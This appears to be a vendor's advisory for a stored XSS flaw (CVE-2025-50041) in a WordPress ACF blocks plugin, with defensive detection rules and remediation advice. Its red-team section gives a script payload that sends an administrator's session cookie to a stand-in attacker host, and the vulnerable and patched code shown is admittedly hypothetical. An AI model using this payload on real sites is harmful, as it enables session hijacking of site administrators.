CVE-2025-50041
Executive Summary
CVE-2025-50041 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Engine Gutenberg Blocks – ACF Blocks Suite plugin (slug: acf-blocks). The vulnerability exists in versions up to and including 2.6.11. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into ACF block fields. When an administrator or other user views the compromised block, the script executes in their browser session, potentially leading to session hijacking, defacement, or privilege escalation. The vulnerability is classified as Improper Neutralization of Input During Web Page Generation (CWE-79). No public exploit code or patch details are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or via Composer/WPackagist are affected. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. Administrators should verify the integrity of their plugin files and monitor for updates from the vendor.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor)
- User Interaction: Required (Admin viewing)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the stored nature of the XSS makes it persistent and dangerous for site administrators.
Deep Dive & Mechanics
The vulnerability resides in the acf-blocks plugin, which extends the WordPress block editor (Gutenberg) with Advanced Custom Fields (ACF) block types. The plugin fails to properly sanitize user-supplied input when rendering ACF block fields on the front end or in the admin area. Specifically, when a user with contributor-level access or higher creates or edits a block and inserts malicious JavaScript into a text field (e.g., a heading, paragraph, or custom field), the plugin does not escape the output before rendering it in the page.
The attack flow:
- An attacker with contributor privileges logs into WordPress.
- They create a new post or page and add an ACF block.
- In a text field (e.g., "Heading" or "Content"), they inject a payload like
<script>alert('XSS')</script>. - The plugin stores the payload in the WordPress database without sanitization.
- When an administrator or other user views the post (either in the admin editor or on the front end), the payload executes in their browser.
The vulnerability is classified as Stored XSS because the malicious script is permanently stored on the server and executed each time the page is loaded.
Vulnerable vs. Patched Code
Vulnerable Code (acf-blocks <= 2.6.11):
The plugin likely uses echo or the_field() without escaping. Example:
<?php
// Vulnerable: direct output without escaping
echo get_field('heading');
?>
Patched Code (hypothetical): The patched version would use WordPress escaping functions:
<?php
// Patched: escape output
echo esc_html(get_field('heading'));
?>
Since no official patch is available, users must manually apply escaping or disable the plugin until an update is released.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress instance with
acf-blocksplugin version <= 2.6.11 - Contributor-level account or higher
Steps:
- Log in as a contributor.
- Create a new post.
- Add an ACF block (e.g., "Heading" block).
- In the heading field, inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish or save the post.
- Wait for an administrator to view the post.
Expected Outcome: The admin's session cookie is exfiltrated to the attacker's server.
Blue Team (Defense & Detection)
Detection:
- Monitor for posts containing
<script>tags in ACF block fields. - Use WAF rules to block common XSS payloads in post content.
- Review user activity logs for suspicious post edits by low-privilege users.
Prevention:
- Disable the
acf-blocksplugin until a patch is available. - Implement Content Security Policy (CSP) headers to block inline scripts.
- Restrict contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/acf-blocks/(presence of plugin version <= 2.6.11) - Database: Posts or post meta containing
<script>tags in ACF field values - Network: Outbound HTTP requests to unknown domains from WordPress admin
- Logs: Unusual post edits by contributor accounts, especially with HTML/JavaScript in fields
Detection Engineering
YARA Rule
rule CVE_2025_50041_Stored_XSS {
meta:
description = "Detects stored XSS payloads in ACF Blocks plugin"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-50041"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
$plugin = "acf-blocks"
condition:
$plugin and ($xss1 or $xss2 or $xss3)
}
Sigma Rule
title: Stored XSS via ACF Blocks Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts created via ACF Blocks plugin
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
post_content|contains:
- '<script>'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-50041 Stored XSS Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=acf"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and uninstall
acf-blocksuntil a patched version is released. - Apply virtual patching: Use a Web Application Firewall (WAF) to block requests containing
<script>tags in post content. - Audit existing content: Scan all posts and pages for stored XSS payloads using the YARA rule above.
Long-term Fix:
- Monitor the WP Engine plugin repository for an update.
- Once patched, update to the latest version immediately.
- Implement a Content Security Policy (CSP) to mitigate XSS impact.
Workaround:
- If the plugin is critical, manually edit the plugin files to add
esc_html()orwp_kses_post()around all ACF field outputs. This is not recommended as it will be overwritten on update.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.